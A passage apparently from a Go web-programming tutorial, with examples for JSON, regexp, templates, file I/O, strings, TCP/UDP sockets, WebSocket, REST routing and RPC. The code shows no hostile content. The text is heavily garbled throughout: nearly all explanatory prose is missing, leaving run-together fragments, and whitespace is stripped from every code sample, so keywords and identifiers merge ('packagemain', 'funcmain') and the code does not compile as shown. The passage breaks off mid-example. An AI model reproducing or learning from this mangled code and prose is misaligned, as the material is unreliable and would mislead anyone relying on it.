interface{}typeassertJSON
bitly simplejsonJSON
js,err:=NewJson([]byte(`{"test":{
"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))
arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()
JSON https://github.com/bitly/go-simplejson
JSON
JSONJSON Marshal
funcMarshal(vinterface{})([]byte,error)
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}fmt.Println(string(b))}
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
JSONstructtag
typeServerstruct{ServerNamestring`json:"serverName"`ServerIPstring`json:"serverIP"`}
typeServerslicestruct{Servers[]Server`json:"servers"`}
JSONJSON
JSONstructtag
tag "-"JSONtagJSONserverNametag"omitempty"JSONbool,string,int,int65tag ",string"JSONJSON
typeServerstruct{//IDJSONIDint`json:"-"`
//ServerName2JSONServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`
//ServerIPJSONServerIPstring`json:"serverIP,omitempty"`}
s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)
{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}
Marshal
JSONstringkeymapmap[string]T(TGo)Channel,complexfunctionJSONJSONnull
GojsonJSON go-simplejsonWeb
links
: XML:
7.3Web
GoregexpGoGoRE2\Chttp://code.google.com/p/re2/wiki/Syntax
strings(ContainsIndex)(Replace)(SplitJoin)strings
UTF-8Go regexp
regexptruefalse
funcMatch(patternstring,b[]byte)(matchedbool,errorerror)funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)
patterntrueerrorbytesliceRuneReaderstring
IP
funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}
returntrue}
regexppattern
funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("" )}else{fmt.Println("" )}}
Match(Reader|String)
Match
packagemain
import("fmt""io/ioutil""net/http""regexp""strings")
funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")
}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}
src:=string(body)
//HTMLre,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)
//<style>re,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src=re.ReplaceAllString(src,"")
//<script>re,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")
//<>HTMLre,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")
//re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")
fmt.Println(strings.TrimSpace(src))}
CompileRegexpRegexp
funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp
CompilePOSIXCompilePOSIXPOSIXCompile([a-z]{2,4}"aa09aaa88aaaa"CompilePOSIXaaaaCompileaa)MustpanicMust
Regexpstruct
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]stringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]intfunc(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
18(byteslicestringio.RuneReader)
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
packagemain
import("fmt""regexp")
funcmain(){a:="IamlearningGolanguage"
re,_:=regexp.Compile("[a-z]{2,4}")
//one:=re.Find([]byte(a))fmt.Println("Find:",string(one))
//slicen0
all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)
//indexindex:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)
//indexnallindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)
re2,_:=regexp.Compile("am(.*)lang(.*)")
//Submatch()()
//"amlearningGolanguage"//"learningGo"//"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}
//FindIndexsubmatchindex:=re2.FindSubmatchIndex([]byte(a))fmt.Println(submatchindex)
//FindAllSubmatchsubmatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)
//FindAllSubmatchIndexindexsubmatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}
RegexpRegexp
func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool
func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string
Expand
func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte
Expand
funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}
GoregexpGo
links
: Json:
7.4
MVCModelViewControllerViewHTMLJSP <%=....=%>PHP <?php.....?>
7.1
Web
Go
Go template ParseParseFileExecutemerge
funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//t,_=t.ParseFiles("tmpl/welcome.html",nil)//user:=GetUser()//t.Execute(w,user)//merger}
Go
ParseFilesParseParsehandlermainhttp.ResponseWriteros.Stdout os.Stdoutio.Writer
GoGo
Go {{}} {{.}}JavaC++this {{.FieldName}}
packagemain
import("html/template""os")
typePersonstruct{UserNamestring}
funcmain(){t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}
helloAstaxie
typePersonstruct{UserNamestringemailstring//}
t,_=t.Parse("hello{{.UserName}}!{{.email}}")
{{.}}fmt
{{with...}}...{{end}}{{range...}}{{end}}
{{range}}Gorange{{with}}
packagemain
import("html/template""os")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)
}
GoGo if-elsepipelineiffalse if-else
packagemain
import("os""text/template")
funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("pipelineifdemo:{{if``}}{{end}}\n" ))tEmpty.Execute(os.Stdout,nil)
tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("pipelineifdemo:{{if`anything`}}{{end}}\n" ))tWithValue.Execute(os.Stdout,nil)
tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}if{{else}}else.{{end}}\n" ))tIfElse.Execute(os.Stdout,nil)}
if-else
ifMail=="[email protected]"ifbool
pipelines
Unix pipe ls|grep"beego""beego"GopipeGo {{}}pipelinesemailXSS
{{.|html}}
emailhtmlUnix
with``range``if {{end}}Go
$variable:=pipeline
{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}
fmt @at astaxieatbeego.me
Go
typeFuncMapmap[string]interface{}
email emailDealGo EmailDealWith
t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})
EmailDealWith
funcEmailDealWith(args...interface{})string
packagemain
import("fmt""html/template""os""strings")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}
funcmain(){f1:=Friend{Fname:"minux.ma"}
f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}
varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}
Must
MustMust
packagemain
import("fmt""text/template")
funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")
template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")
fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}
ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand
Web headercontentfooterGo
{{define"" }}{{end}}
{{template"" }}
header.tmplcontent.tmplfooter.tmpl
//header.tmpl{{define"header"}}<html><head><title> </title></head><body>{{end}}
//content.tmpl{{define"content"}}{{template"header"}}<h1> </h1><ul><li>define </li><li>template </li></ul>{{template"footer"}}{{end}}
//footer.tmpl{{define"footer"}}</body></html>{{end}}
packagemain
import("fmt""os""text/template")
funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}
template.ParseFiles{{define}}map(keyvalue) ExecuteTemplateheaderfootercontentheaderfooter
s1.Execute
MVCVMC
links
::
7.5WebWebWeb()Go
os
funcMkdir(namestring,permFileMode)error
nameperm0777
funcMkdirAll(pathstring,permFileMode)error
pathastaxie/test1/test2
funcRemove(namestring)error
name
funcRemoveAll(pathstring)error
pathpath
packagemain
import("fmt""os")
funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}
funcCreate(namestring)(file*File,errError)
0666
funcNewFile(fduintptr,namestring)*File
funcOpen(namestring)(file*File,errError)
nameOpenFile
funcOpenFile(namestring,flagint,permuint32)(file*File,errError)
nameflagperm
func(file*File)Write(b[]byte)(nint,errError)
byte
func(file*File)WriteAt(b[]byte,offint64)(nint,errError)
byte
func(file*File)WriteString(sstring)(retint,errError)
string
packagemain
import("fmt""os")
funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}
func(file*File)Read(b[]byte)(nint,errError)
b
func(file*File)ReadAt(b[]byte,offint64)(nint,errError)
offb
packagemain
import("fmt""os"
)
funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}
Go
funcRemove(namestring)Error
name
links
::
7.6WebGostringsstrconv
strings
funcContains(s,substrstring)bool
ssubstrbool
fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))//Output://true//false//true//true
funcJoin(a[]string,sepstring)string
sliceasep
s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz
funcIndex(s,sepstring)int
ssep-1
fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1
funcRepeat(sstring,countint)string
scount
fmt.Println("ba"+strings.Repeat("na",2))//Output:banana
funcReplace(s,old,newstring,nint)string
soldnewn0
fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo
funcSplit(s,sepstring)[]string
sepsslice
fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]
funcTrim(sstring,cutsetstring)string
scutset
fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))//Output:["Achtung"]
funcFields(sstring)[]string
sslice
fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]
strconv
Append
packagemain
import("fmt""strconv")
funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}
Format
packagemain
import("fmt""strconv"
)
funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}
Parse
packagemain
import("fmt""strconv")funccheckError(eerror){ife!=nil{fmt.Println(e)}}funcmain(){a,err:=strconv.ParseBool("false")checkError(err)b,err:=strconv.ParseFloat("123.23",64)checkError(err)c,err:=strconv.ParseInt("1234",10,64)checkError(err)d,err:=strconv.ParseUint("12345",10,64)checkError(err)e,err:=strconv.Atoi("1023")checkError(err)fmt.Println(a,b,c,d,e)}
links
::
7.7XMLJSONXMLJSON//Web
links
:: Web
8WebWebHTTPXMLJSON
WebLinuxWindowsasp.netFreeBSDJSP
WebRESTSOAP
RESTRESTHTTPHTTPmethodWebHTTPREST8.3GoREST
SOAPW3CSOAPGoSOAPGoRPC8.4GoRPC
Go21C8.1SocketSocketHTTPGoSocketHTML5WebSocket8.2GoWebSocket
links
:: Socket
8.1SocketSocketSocketWebQQQQQQPPstreamPPstreamSocketSocketGoSocket
Socket
SocketUnixUnix"""open->write/read->close"SocketSocketI/OSocketSocketSocket()intSocketSocket
SocketSocketSOCK_STREAMSocketSOCK_DGRAMSocketTCPSocketSocketUDP
Socket
SocketPIDTCP/IP"ip""+"ipTCP/IP
8.1
TCP/IPUNIXBSDsocketUNIXSystemVTLIsocket"Socket"
Socket
SocketTCPSocketUDPSocketTCPUDPIP
IPv4
TCP/IPIPTCP/IPTCP/IPIP4(IPv4)30
IPv432232InternetIPIPIPV4IP
127.0.0.1172.122.121.111
IPv6
IPv6IPv4IPv6128IPv611000IPv6IPv4IPQoS
2002:c0e8:82e7:0:0:0:c0e8:82e7
Go IP
GonetIP
typeIP[]byte
netIP ParseIP(sstring)IPIPv4IPv6IP
packagemainimport("net""os""fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}
IPIP
TCPSocket
Gonet TCPConn
func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)
TCPConn
TCPAddrTCP
typeTCPAddrstruct{IPIPPortint}
GoResolveTCPAddr TCPAddr
funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)
net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6
addrIP"www.google.com:80""127.0.0.1:22"
TCPclient
Gonet DialTCPTCP TCPConn TCPConnTCPConn
funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)
net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6
laddrnilraddr
HTTPWebhttp
"HEAD/HTTP/1.0\r\n\r\n"
HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMTContent-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23
packagemain
import("fmt""io/ioutil""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
servicenet.ResolveTCPAddrtcpAddrtcpAddrDialTCPTCP connconn ioutil.ReadAllconn
TCPserver
TCPnetnet
funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)
DialTCP7777
packagemain
import("fmt""net""os""time")
funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue
conn.Close()//we'refinishedwiththisclient}}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
Accept forcontinue
Gogoroutine
packagemain
import("fmt""net"
"os""time")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue//we'refinishedwiththisclient}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
handleClinet gogoroutine
packagemain
import("fmt""net""os""time"
"strconv")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaxiumrequestlengthto128Btopreventfloodattackdeferconn.Close()//closeconnectionbeforeexitfor{read_len,err:=conn.Read(request)
iferr!=nil{fmt.Println(err)break}
ifread_len==0{break//connectionalreadyclosedbyclient}elseifstring(request)=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}
request=make([]byte,128)//clearlastreadcontent}}
funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
conn.Read() conn.SetReadDeadline() connforrequestfloodattackrequest conn.Read()append
TCP
TCP
funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)
func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error
/
func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error
TCP
net
UDPSocket
GoUDPSocketTCPSocketUDPAcceptTCPUDPUDP
funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Errorfunc(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)
UDPTCPUDP
packagemain
import("fmt""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)
}}
UDP
packagemain
import("fmt""net""os""time")
funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}
TCPUDPSocketGoSocketGoSocket
links
: Web: WebSocket
8.2WebSocketWebSocketHTML5socketFirefoxGoogleChromeSafari
WebSocket""HTTPRequest""
WebSocketJavaScriptTCPScoketWebHTTP
WebTCPWebsocketweb(push)
WebSocketURLws://wss://SSLWebSocketHTTPJavaScriptsocket
8.3WebSocketrequestresponse
"Sec-WebSocket-Key"base64
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
f7cb4ezEAl6C3wRaU6JORA==
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
sha12base64
rE91AJhfC+6JdVcVXOGJEADEJdQ=
Sec-WebSocket-Accept
Go WebSocket
GoWebSocketgo.net
gogetcode.google.com/p/go.net/websocket
WebSocketWebSocketPush
<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";
window.onload=function(){
console.log("onload");
sock=newWebSocket(wsuri);
sock.onopen=function(){console.log("connectedto"+wsuri);}
sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}
sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};
functionsend(){varmsg=document.getElementById('message').value;sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form>
<buttononclick="send();">SendMessage</button></body></html>
JSWebSocketsockWebScoketonopen
1onopen2onmessage3onerror4onclose
packagemain
import("golang.org/x/net/websocket""fmt""log""net/http")
funcEcho(ws*websocket.Conn){varerrerror
for{varreplystring
iferr=websocket.Message.Receive(ws,&reply);err!=nil{fmt.Println("Can'treceive")break}
fmt.Println("Receivedbackfromclient:"+reply)
msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)
iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")
break}}}
funcmain(){http.Handle("/",websocket.Handler(Echo))
iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}
SendReceiveSend
8.4WebSocket
WebSocketGonetHTML5WebSocketWeb
links
: Socket: REST
8.3RESTRESTfulGo
REST
REST(RepresentationalStateTransfer)2000RoyThomasFieldingHTTPRESTful
REST
ResourcesREST""""""""
URIURI
Representation
txthtmljsonxmljpgpng
URIHTTPAcceptContent-Type""
StateTransfer
HTTP
HTTPHTTPGETPOSTPUTDELETEGETPOSTPUTDELETE
RESTful
1URI23HTTP""
WebREST
REST
REST
8.7REST
RESTlevelRESTfulRESTfulRESTful DELETEPUTHTTPHTTP GETPOST
HTML GETPOSTAjax PUTDELETE
HTTP PUTDELETE PUTDELETEPOSTRESTfulPOSTHTTP
POST _methodPUTDELETERESTGoRESTfulRESTful
packagemain
import("fmt""github.com/julienschmidt/httprouter""log""net/http")
funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}
funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){
fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))}
funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}
funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}
funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}
funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}
funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)
router.GET("/user/:uid",getuser)router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)
log.Fatal(http.ListenAndServe(":8080",router))}
RESTmethodgithub.com/julienschmidt/httprouterREST
RESTWWWHTTPURIWebURIHTTPInternetRESTWebGoRESTmethodhandleREST
links
: WebSocket: RPC
8.4RPCSocketHTTPSocketHTTP""
RPC
RPCRemoteProcedureCallProtocolTCPUDPOSIRPCRPC
RPC
GoRPCRPCHTTPJSONRPCGoRPCRPCRPCGoGo
GoRPC
()
error
RPC
func(t*T)MethodName(argTypeT1,replyType*T2)error
TT1T2 encoding/gob/
RPCGoRPCHTTPTCPHTTP net/http
HTTPRPC
http
packagemain
import("errors""fmt""net/http""net/rpc")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint
}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()
err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}
ArithRPC rpc.HandleHTTPHTTPhttp
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
